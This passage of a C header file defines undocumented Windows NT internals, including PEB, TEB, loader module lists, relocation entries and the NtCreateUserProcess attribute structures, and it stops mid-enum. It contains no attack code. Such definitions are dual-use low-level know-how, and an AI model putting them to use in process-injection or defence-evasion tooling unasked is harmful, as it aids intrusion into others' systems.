1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
#pragma once
#ifndef STRUCTS_H
#define STRUCTS_H

#include <Windows.h>

#define STATUS_SUCCESS	    0x00000000
#define NtCurrentProcess()  ( (HANDLE)-1 )
#define NtCurrentThread()   ( (HANDLE)-2 )
#define NT_SUCCESS(Status)	(((NTSTATUS)(Status)) >= STATUS_SUCCESS)

typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;


#define InitializeObjectAttributes( p, n, a, r, s ) {   \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

#define OBJ_INHERIT                         0x00000002L
#define OBJ_PERMANENT                       0x00000010L
#define OBJ_EXCLUSIVE                       0x00000020L
#define OBJ_CASE_INSENSITIVE                0x00000040L
#define OBJ_OPENIF                          0x00000080L
#define OBJ_OPENLINK                        0x00000100L
#define OBJ_KERNEL_HANDLE                   0x00000200L
#define OBJ_FORCE_ACCESS_CHECK              0x00000400L
#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP   0x00000800L
#define OBJ_DONT_REPARSE                    0x00001000L
#define OBJ_VALID_ATTRIBUTES                0x00001FF2L

typedef struct _BASE_RELOCATION_ENTRY {
	WORD	Offset : 12;
	WORD	Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;


typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;


#define RTL_MAX_DRIVE_LETTERS 32



typedef struct _RTL_DRIVE_LETTER_CURDIR
{
	USHORT Flags;
	USHORT Length;
	ULONG TimeStamp;
	UNICODE_STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _CURDIR
{
	UNICODE_STRING DosPath;
	HANDLE Handle;

} CURDIR, * PCURDIR;


typedef struct _RTL_USER_PROCESS_PARAMETERS
{
	ULONG MaximumLength;
	ULONG Length;

	ULONG Flags;
	ULONG DebugFlags;

	HANDLE ConsoleHandle;
	ULONG ConsoleFlags;
	HANDLE StandardInput;
	HANDLE StandardOutput;
	HANDLE StandardError;

	CURDIR CurrentDirectory;
	UNICODE_STRING DllPath;
	UNICODE_STRING ImagePathName;
	UNICODE_STRING CommandLine;
	PWCHAR Environment;

	ULONG StartingX;
	ULONG StartingY;
	ULONG CountX;
	ULONG CountY;
	ULONG CountCharsX;
	ULONG CountCharsY;
	ULONG FillAttribute;

	ULONG WindowFlags;
	ULONG ShowWindowFlags;
	UNICODE_STRING WindowTitle;
	UNICODE_STRING DesktopInfo;
	UNICODE_STRING ShellInfo;
	UNICODE_STRING RuntimeData;
	RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];

	ULONG_PTR EnvironmentSize;
	ULONG_PTR EnvironmentVersion;
	PVOID PackageDependencyData;
	ULONG ProcessGroupId;
	ULONG LoaderThreads;

} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _LDR_MODULE {
	LIST_ENTRY              InLoadOrderModuleList;
	LIST_ENTRY              InMemoryOrderModuleList;
	LIST_ENTRY              InInitializationOrderModuleList;
	PVOID                   BaseAddress;
	PVOID                   EntryPoint;
	ULONG                   SizeOfImage;
	UNICODE_STRING          FullDllName;
	UNICODE_STRING          BaseDllName;
	ULONG                   Flags;
	SHORT                   LoadCount;
	SHORT                   TlsIndex;
	LIST_ENTRY              HashTableEntry;
	ULONG                   TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;

typedef struct _PEB_LDR_DATA {
	ULONG                   Length;
	ULONG                   Initialized;
	PVOID                   SsHandle;
	LIST_ENTRY              InLoadOrderModuleList;
	LIST_ENTRY              InMemoryOrderModuleList;
	LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
	BOOLEAN                 InheritedAddressSpace;
	BOOLEAN                 ReadImageFileExecOptions;
	BOOLEAN                 BeingDebugged;
	BOOLEAN                 Spare;
	HANDLE                  Mutant;
	PVOID                   ImageBase;
	PPEB_LDR_DATA           LoaderData;
	PRTL_USER_PROCESS_PARAMETERS                   ProcessParameters;
	PVOID                   SubSystemData;
	PVOID                   ProcessHeap;
	PVOID                   FastPebLock;
	PVOID                   FastPebLockRoutine;
	PVOID                   FastPebUnlockRoutine;
	ULONG                   EnvironmentUpdateCount;
	PVOID* KernelCallbackTable;
	PVOID                   EventLogSection;
	PVOID                   EventLog;
	PVOID                   FreeList;
	ULONG                   TlsExpansionCounter;
	PVOID                   TlsBitmap;
	ULONG                   TlsBitmapBits[0x2];
	PVOID                   ReadOnlySharedMemoryBase;
	PVOID                   ReadOnlySharedMemoryHeap;
	PVOID* ReadOnlyStaticServerData;
	PVOID                   AnsiCodePageData;
	PVOID                   OemCodePageData;
	PVOID                   UnicodeCaseTableData;
	ULONG                   NumberOfProcessors;
	ULONG                   NtGlobalFlag;
	BYTE                    Spare2[0x4];
	LARGE_INTEGER           CriticalSectionTimeout;
	ULONG                   HeapSegmentReserve;
	ULONG                   HeapSegmentCommit;
	ULONG                   HeapDeCommitTotalFreeThreshold;
	ULONG                   HeapDeCommitFreeBlockThreshold;
	ULONG                   NumberOfHeaps;
	ULONG                   MaximumNumberOfHeaps;
	PVOID** ProcessHeaps;
	PVOID                   GdiSharedHandleTable;
	PVOID                   ProcessStarterHelper;
	PVOID                   GdiDCAttributeList;
	PVOID                   LoaderLock;
	ULONG                   OSMajorVersion;
	ULONG                   OSMinorVersion;
	ULONG                   OSBuildNumber;
	ULONG                   OSPlatformId;
	ULONG                   ImageSubSystem;
	ULONG                   ImageSubSystemMajorVersion;
	ULONG                   ImageSubSystemMinorVersion;
	ULONG                   GdiHandleBuffer[0x22];
	ULONG                   PostProcessInitRoutine;
	ULONG                   TlsExpansionBitmap;
	BYTE                    TlsExpansionBitmapBits[0x80];
	ULONG                   SessionId;
} PEB, * PPEB;

typedef struct __CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
	ULONG Flags;
	PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;

typedef struct _TEB_ACTIVE_FRAME {
	ULONG Flags;
	struct _TEB_ACTIVE_FRAME* Previous;
	PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;

typedef struct _GDI_TEB_BATCH {
	ULONG Offset;
	ULONG HDC;
	ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;

typedef PVOID PACTIVATION_CONTEXT;

typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
	struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
	PACTIVATION_CONTEXT ActivationContext;
	ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;

typedef struct _ACTIVATION_CONTEXT_STACK {
	PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
	LIST_ENTRY FrameListCache;
	ULONG Flags;
	ULONG NextCookieSequenceNumber;
	ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;

typedef struct _TEB {
	NT_TIB				NtTib;
	PVOID				EnvironmentPointer;
	CLIENT_ID			ClientId;
	PVOID				ActiveRpcHandle;
	PVOID				ThreadLocalStoragePointer;
	PPEB				ProcessEnvironmentBlock;
	ULONG               LastErrorValue;
	ULONG               CountOfOwnedCriticalSections;
	PVOID				CsrClientThread;
	PVOID				Win32ThreadInfo;
	ULONG               User32Reserved[26];
	ULONG               UserReserved[5];
	PVOID				WOW32Reserved;
	LCID                CurrentLocale;
	ULONG               FpSoftwareStatusRegister;
	PVOID				SystemReserved1[54];
	LONG                ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
	UCHAR                  SpareBytes1[0x30 - 3 * sizeof(PVOID)];
	ULONG                  TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
	PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
	UCHAR                  SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
	ACTIVATION_CONTEXT_STACK ActivationContextStack;
	UCHAR                  SpareBytes1[24];
#endif
	GDI_TEB_BATCH			GdiTebBatch;
	CLIENT_ID				RealClientId;
	PVOID					GdiCachedProcessHandle;
	ULONG                   GdiClientPID;
	ULONG                   GdiClientTID;
	PVOID					GdiThreadLocalInfo;
	PSIZE_T					Win32ClientInfo[62];
	PVOID					glDispatchTable[233];
	PSIZE_T					glReserved1[29];
	PVOID					glReserved2;
	PVOID					glSectionInfo;
	PVOID					glSection;
	PVOID					glTable;
	PVOID					glCurrentRC;
	PVOID					glContext;
	NTSTATUS                LastStatusValue;
	UNICODE_STRING			StaticUnicodeString;
	WCHAR                   StaticUnicodeBuffer[261];
	PVOID					DeallocationStack;
	PVOID					TlsSlots[64];
	LIST_ENTRY				TlsLinks;
	PVOID					Vdm;
	PVOID					ReservedForNtRpc;
	PVOID					DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
	ULONG                   HardErrorMode;
#else
	ULONG                  HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PVOID					Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
	GUID                    ActivityId;
	PVOID					SubProcessTag;
	PVOID					EtwLocalData;
	PVOID					EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
	PVOID					Instrumentation[14];
	PVOID					SubProcessTag;
	PVOID					EtwLocalData;
#else
	PVOID					Instrumentation[16];
#endif
	PVOID					WinSockData;
	ULONG					GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	BOOLEAN                SpareBool0;
	BOOLEAN                SpareBool1;
	BOOLEAN                SpareBool2;
#else
	BOOLEAN                InDbgPrint;
	BOOLEAN                FreeStackOnTermination;
	BOOLEAN                HasFiberData;
#endif
	UCHAR                  IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
	ULONG                  GuaranteedStackBytes;
#else
	ULONG                  Spare3;
#endif
	PVOID				   ReservedForPerf;
	PVOID				   ReservedForOle;
	ULONG                  WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PVOID				   SavedPriorityState;
	ULONG_PTR			   SoftPatchPtr1;
	ULONG_PTR			   ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
	ULONG_PTR			   SparePointer1;
	ULONG_PTR              SoftPatchPtr1;
	ULONG_PTR              SoftPatchPtr2;
#else
	Wx86ThreadState        Wx86Thread;
#endif
	PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
	PVOID                  DeallocationBStore;
	PVOID                  BStoreLimit;
#endif
	ULONG                  ImpersonationLocale;
	ULONG                  IsImpersonating;
	PVOID                  NlsCache;
	PVOID                  pShimData;
	ULONG                  HeapVirtualAffinity;
	HANDLE                 CurrentTransactionHandle;
	PTEB_ACTIVE_FRAME      ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
	PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
	PVOID PreferredLangauges;
	PVOID UserPrefLanguages;
	PVOID MergedPrefLanguages;
	ULONG MuiImpersonation;
	union
	{
		struct
		{
			USHORT SpareCrossTebFlags : 16;
		};
		USHORT CrossTebFlags;
	};
	union
	{
		struct
		{
			USHORT DbgSafeThunkCall : 1;
			USHORT DbgInDebugPrint : 1;
			USHORT DbgHasFiberData : 1;
			USHORT DbgSkipThreadAttach : 1;
			USHORT DbgWerInShipAssertCode : 1;
			USHORT DbgIssuedInitialBp : 1;
			USHORT DbgClonedThread : 1;
			USHORT SpareSameTebBits : 9;
		};
		USHORT SameTebFlags;
	};
	PVOID TxnScopeEntercallback;
	PVOID TxnScopeExitCAllback;
	PVOID TxnScopeContext;
	ULONG LockCount;
	ULONG ProcessRundown;
	ULONG64 LastSwitchTime;
	ULONG64 TotalSwitchOutTime;
	LARGE_INTEGER WaitReasonBitMap;
#else
	BOOLEAN SafeThunkCall;
	BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;

typedef struct _LDR_DATA_TABLE_ENTRY {
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union {
		LIST_ENTRY HashLinks;
		struct {
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union {
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	PACTIVATION_CONTEXT EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;


typedef struct _INITIAL_TEB {
	PVOID                StackBase;
	PVOID                StackLimit;
	PVOID                StackCommit;
	PVOID                StackCommitMax;
	PVOID                StackReserved;
} INITIAL_TEB, * PINITIAL_TEB;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;




typedef enum _PS_CREATE_STATE
{
	PsCreateInitialState,
	PsCreateFailOnFileOpen,
	PsCreateFailOnSectionCreate,
	PsCreateFailExeFormat,
	PsCreateFailMachineMismatch,
	PsCreateFailExeName,
	PsCreateSuccess,
	PsCreateMaximumStates

} PS_CREATE_STATE;

typedef struct _PS_CREATE_INFO
{
	SIZE_T Size;
	PS_CREATE_STATE State;
	union
	{
		struct
		{
			union
			{
				ULONG InitFlags;
				struct
				{
					UCHAR WriteOutputOnExit : 1;
					UCHAR DetectManifest : 1;
					UCHAR IFEOSkipDebugger : 1;
					UCHAR IFEODoNotPropagateKeyState : 1;
					UCHAR SpareBits1 : 4;
					UCHAR SpareBits2 : 8;
					USHORT ProhibitedImageCharacteristics : 16;
				} s1;
			} u1;
			ACCESS_MASK AdditionalFileAccess;
		} InitState;

		struct
		{
			HANDLE FileHandle;
		} FailSection;

		struct
		{
			USHORT DllCharacteristics;
		} ExeFormat;

		struct
		{
			HANDLE IFEOKey;
		} ExeName;

		struct
		{
			union
			{
				ULONG OutputFlags;
				struct
				{
					UCHAR ProtectedProcess : 1;
					UCHAR AddressSpaceOverride : 1;
					UCHAR DevOverrideEnabled : 1;
					UCHAR ManifestDetected : 1;
					UCHAR ProtectedProcessLight : 1;
					UCHAR SpareBits1 : 3;
					UCHAR SpareBits2 : 8;
					USHORT SpareBits3 : 16;
				} s2;
			} u2;
			HANDLE FileHandle;
			HANDLE SectionHandle;
			ULONGLONG UserProcessParametersNative;
			ULONG UserProcessParametersWow64;
			ULONG CurrentParameterFlags;
			ULONGLONG PebAddressNative;
			ULONG PebAddressWow64;
			ULONGLONG ManifestAddress;
			ULONG ManifestSize;
		} SuccessState;
	};

} PS_CREATE_INFO, * PPS_CREATE_INFO;



typedef struct _PS_ATTRIBUTE
{
	ULONG_PTR Attribute;
	SIZE_T Size;
	union
	{
		ULONG_PTR Value;
		PVOID ValuePtr;
	};
	PSIZE_T ReturnLength;

} PS_ATTRIBUTE, * PPS_ATTRIBUTE;



typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T TotalLength;
	PS_ATTRIBUTE Attributes[3];

} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;




#define PS_ATTRIBUTE_NUMBER_MASK    0x0000ffff
#define PS_ATTRIBUTE_THREAD         0x00010000 // Attribute may be used with thread creation
#define PS_ATTRIBUTE_INPUT          0x00020000 // Attribute is input only
#define PS_ATTRIBUTE_ADDITIVE       0x00040000 // Attribute may be "accumulated", e.g. bitmasks, counters, etc.

typedef enum _PS_ATTRIBUTE_NUM
{
	PsAttributeParentProcess,                   // in HANDLE
	PsAttributeDebugPort,                       // in HANDLE
	PsAttributeToken,                           // in HANDLE
	PsAttributeClientId,                        // out PCLIENT_ID
	PsAttributeTebAddress,                      // out PTEB
	PsAttributeImageName,                       // in PWSTR
	PsAttributeImageInfo,                       // out PSECTION_IMAGE_INFORMATION
	PsAttributeMemoryReserve,                   // in PPS_MEMORY_RESERVE
	PsAttributePriorityClass,                   // in UCHAR
	PsAttributeErrorMode,                       // in ULONG
	PsAttributeStdHandleInfo,                   // in PPS_STD_HANDLE_INFO
	PsAttributeHandleList,                      // in PHANDLE
	PsAttributeGroupAffinity,                   // in PGROUP_AFFINITY
	PsAttributePreferredNode,                   // in PUSHORT
	PsAttributeIdealProcessor,                  // in PPROCESSOR_NUMBER
	PsAttributeUmsThread,                       // see MSDN UpdateProceThreadAttributeList (CreateProcessW) - in PUMS_CREATE_THREAD_ATTRIBUTES
	PsAttributeMitigationOptions,               // in UCHAR
	PsAttributeProtectionLevel,                 // in ULONG
	PsAttributeSecureProcess,                   // since THRESHOLD (Virtual Secure Mode, Device Guard)
	PsAttributeJobList,
	PsAttributeChildProcessPolicy,              // since THRESHOLD2
	PsAttributeAllApplicationPackagesPolicy,    // since REDSTONE
	PsAttributeWin32kFilter,
	PsAttributeSafeOpenPromptOriginClaim,
	PsAttributeBnoIsolation,
	PsAttributeDesktopAppPolicy,
	PsAttributeMax
} PS_ATTRIBUTE_NUM;


#define PsAttributeValue(Number, Thread, Input, Additive)		\
    (((Number) & PS_ATTRIBUTE_NUMBER_MASK)	|					\
    ((Thread) ? PS_ATTRIBUTE_THREAD : 0)	|					\
    ((Input) ? PS_ATTRIBUTE_INPUT : 0)		|					\
    ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))

#define PS_ATTRIBUTE_PARENT_PROCESS									\
    PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)		
#define PS_ATTRIBUTE_DEBUG_PORT										\
    PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)			
#define PS_ATTRIBUTE_TOKEN											\
    PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)				
#define PS_ATTRIBUTE_CLIENT_ID										\
    PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)			
#define PS_ATTRIBUTE_TEB_ADDRESS									\
    PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)			
#define PS_ATTRIBUTE_IMAGE_NAME										\
    PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)			
#define PS_ATTRIBUTE_IMAGE_INFO										\
    PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)			
#define PS_ATTRIBUTE_MEMORY_RESERVE									\
    PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)		
#define PS_ATTRIBUTE_PRIORITY_CLASS									\
    PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)		
#define PS_ATTRIBUTE_ERROR_MODE										\
    PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)			
#define PS_ATTRIBUTE_STD_HANDLE_INFO								\
    PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)		
#define PS_ATTRIBUTE_HANDLE_LIST									\
    PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)			
#define PS_ATTRIBUTE_GROUP_AFFINITY									\
    PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)		
#define PS_ATTRIBUTE_PREFERRED_NODE									\
    PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)		
#define PS_ATTRIBUTE_IDEAL_PROCESSOR								\
    PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)		
#define PS_ATTRIBUTE_MITIGATION_OPTIONS								\
    PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PROTECTION_LEVEL								\
    PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, FALSE)	
#define PS_ATTRIBUTE_UMS_THREAD										\
    PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_SECURE_PROCESS									\
    PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_JOB_LIST										\
    PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY							\
    PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY				\
    PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_WIN32K_FILTER									\
    PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM					\
    PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_BNO_ISOLATION									\
    PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_DESKTOP_APP_POLICY								\
    PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)




#define RTL_USER_PROC_PARAMS_NORMALIZED			0x00000001
#define RTL_USER_PROC_PROFILE_USER				0x00000002
#define RTL_USER_PROC_PROFILE_KERNEL			0x00000004
#define RTL_USER_PROC_PROFILE_SERVER			0x00000008
#define RTL_USER_PROC_RESERVE_1MB				0x00000020
#define RTL_USER_PROC_RESERVE_16MB				0x00000040
#define RTL_USER_PROC_CASE_SENSITIVE			0x00000080
#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT		0x00000100
#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL		0x00001000
#define RTL_USER_PROC_APP_MANIFEST_PRESENT		0x00002000
#define RTL_USER_PROC_IMAGE_KEY_MISSING			0x00004000
#define RTL_USER_PROC_OPTIN_PROCESS				0x00020000





typedef enum _SYSTEM_INFORMATION_CLASS
{
	SystemBasicInformation = 0,
	SystemProcessorInformation = 1,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemPathInformation = 4,
	SystemProcessInformation = 5,
	SystemCallCountInformation = 6,
	SystemDeviceInformation = 7,
	SystemProcessorPerformanceInformation = 8,
	SystemFlagsInformation = 9,
	SystemCallTimeInformation = 10,
	SystemModuleInformation = 11,
	SystemLocksInformation = 12,
	SystemStackTraceInformation = 13,
	SystemPagedPoolInformation = 14,
	SystemNonPagedPoolInformation = 15,
	SystemHandleInformation = 16,
	SystemObjectInformation = 17,
	SystemPageFileInformation = 18,
	SystemVdmInstemulInformation = 19,
	SystemVdmBopInformation = 20,
	SystemFileCacheInformation = 21,
	SystemPoolTagInformation = 22,
	SystemInterruptInformation = 23,
	SystemDpcBehaviorInformation = 24,
	SystemFullMemoryInformation = 25,
	SystemLoadGdiDriverInformation = 26,
	SystemUnloadGdiDriverInformation = 27,
	SystemTimeAdjustmentInformation = 28,
	SystemSummaryMemoryInformation = 29,
	SystemMirrorMemoryInformation = 30,
	SystemPerformanceTraceInformation = 31,
	SystemObsolete0 = 32,
	SystemExceptionInformation = 33,
	SystemCrashDumpStateInformation = 34,
	SystemKernelDebuggerInformation = 35,
	SystemContextSwitchInformation = 36,
	SystemRegistryQuotaInformation = 37,
	SystemExtendServiceTableInformation = 38,
	SystemPrioritySeperation = 39,
	SystemVerifierAddDriverInformation = 40,
	SystemVerifierRemoveDriverInformation = 41,
	SystemProcessorIdleInformation = 42,
	SystemLegacyDriverInformation = 43,
	SystemCurrentTimeZoneInformation = 44,
	SystemLookasideInformation = 45,
	SystemTimeSlipNotification = 46,
	SystemSessionCreate = 47,
	SystemSessionDetach = 48,
	SystemSessionInformation = 49,
	SystemRangeStartInformation = 50,
	SystemVerifierInformation = 51,
	SystemVerifierThunkExtend = 52,
	SystemSessionProcessInformation = 53,
	SystemLoadGdiDriverInSystemSpace = 54,
	SystemNumaProcessorMap = 55,
	SystemPrefetcherInformation = 56,
	SystemExtendedProcessInformation = 57,
	SystemRecommendedSharedDataAlignment = 58,
	SystemComPlusPackage = 59,
	SystemNumaAvailableMemory = 60,
	SystemProcessorPowerInformation = 61,
	SystemEmulationBasicInformation = 62,
	SystemEmulationProcessorInformation = 63,
	SystemExtendedHandleInformation = 64,
	SystemLostDelayedWriteInformation = 65,
	SystemBigPoolInformation = 66,
	SystemSessionPoolTagInformation = 67,
	SystemSessionMappedViewInformation = 68,
	SystemHotpatchInformation = 69,
	SystemObjectSecurityMode = 70,
	SystemWatchdogTimerHandler = 71,
	SystemWatchdogTimerInformation = 72,
	SystemLogicalProcessorInformation = 73,
	SystemWow64SharedInformation = 74,
	SystemRegisterFirmwareTableInformationHandler = 75,
	SystemFirmwareTableInformation = 76,
	SystemModuleInformationEx = 77,
	SystemVerifierTriageInformation = 78,
	SystemSuperfetchInformation = 79,
	SystemMemoryListInformation = 80,
	SystemFileCacheInformationEx = 81,
	MaxSystemInfoClass = 82

} SYSTEM_INFORMATION_CLASS;


#define PS_REQUEST_BREAKAWAY                    1
#define PS_NO_DEBUG_INHERIT                     2
#define PS_INHERIT_HANDLES                      4
#define PS_LARGE_PAGES                          8
#define PS_ALL_FLAGS                            (PS_REQUEST_BREAKAWAY | PS_NO_DEBUG_INHERIT  | PS_INHERIT_HANDLES   | PS_LARGE_PAGES)

typedef struct _IO_STATUS_BLOCK
{
	union
	{
		NTSTATUS Status;
		PVOID Pointer;
	};

	ULONG_PTR Information;

} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

#ifndef PIO_APC_ROUTINE_DEFINED
typedef
VOID
(NTAPI* PIO_APC_ROUTINE) (
	IN PVOID ApcContext,
	IN PIO_STATUS_BLOCK IoStatusBlock,
	IN ULONG Reserved
	);
#define PIO_APC_ROUTINE_DEFINED
#endif  // PIO_APC_ROUTINE_DEFINED


typedef struct _FILE_DISPOSITION_INFORMATION {
	BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;

#ifndef FILE_SUPERSEDE
#define FILE_SUPERSEDE                  0x00000000
#define FILE_OPEN                       0x00000001
#define FILE_CREATE                     0x00000002
#define FILE_OPEN_IF                    0x00000003
#define FILE_OVERWRITE                  0x00000004
#define FILE_OVERWRITE_IF               0x00000005
#define FILE_MAXIMUM_DISPOSITION        0x00000005
#endif

// Define the create/open option flags
#ifndef FILE_DIRECTORY_FILE
#define FILE_DIRECTORY_FILE                     0x00000001
#define FILE_WRITE_THROUGH                      0x00000002
#define FILE_SEQUENTIAL_ONLY                    0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING          0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT               0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT            0x00000020
#define FILE_NON_DIRECTORY_FILE                 0x00000040
#define FILE_CREATE_TREE_CONNECTION             0x00000080
#define FILE_COMPLETE_IF_OPLOCKED               0x00000100
#define FILE_NO_EA_KNOWLEDGE                    0x00000200
#define FILE_OPEN_FOR_RECOVERY                  0x00000400
#define FILE_RANDOM_ACCESS                      0x00000800
#define FILE_DELETE_ON_CLOSE                    0x00001000
#define FILE_OPEN_BY_FILE_ID                    0x00002000
#define FILE_OPEN_FOR_BACKUP_INTENT             0x00004000
#define FILE_NO_COMPRESSION                     0x00008000
#define FILE_RESERVE_OPFILTER                   0x00100000
#define FILE_OPEN_REPARSE_POINT                 0x00200000
#define FILE_OPEN_NO_RECALL                     0x00400000
#define FILE_OPEN_FOR_FREE_SPACE_QUERY          0x00800000
#endif // FILE_DIRECTORY_FILE

typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION
{
	NTSTATUS ExitStatus;
	PPEB PebBaseAddress;
	ULONG_PTR AffinityMask;
	KPRIORITY BasePriority;
	ULONG_PTR UniqueProcessId;
	ULONG_PTR InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;


typedef enum _FILE_INFORMATION_CLASS
{
	FileDirectoryInformation = 1,
	FileFullDirectoryInformation,   // 2
	FileBothDirectoryInformation,   // 3
	FileBasicInformation,           // 4  wdm
	FileStandardInformation,        // 5  wdm
	FileInternalInformation,        // 6
	FileEaInformation,              // 7
	FileAccessInformation,          // 8
	FileNameInformation,            // 9
	FileRenameInformation,          // 10
	FileLinkInformation,            // 11
	FileNamesInformation,           // 12
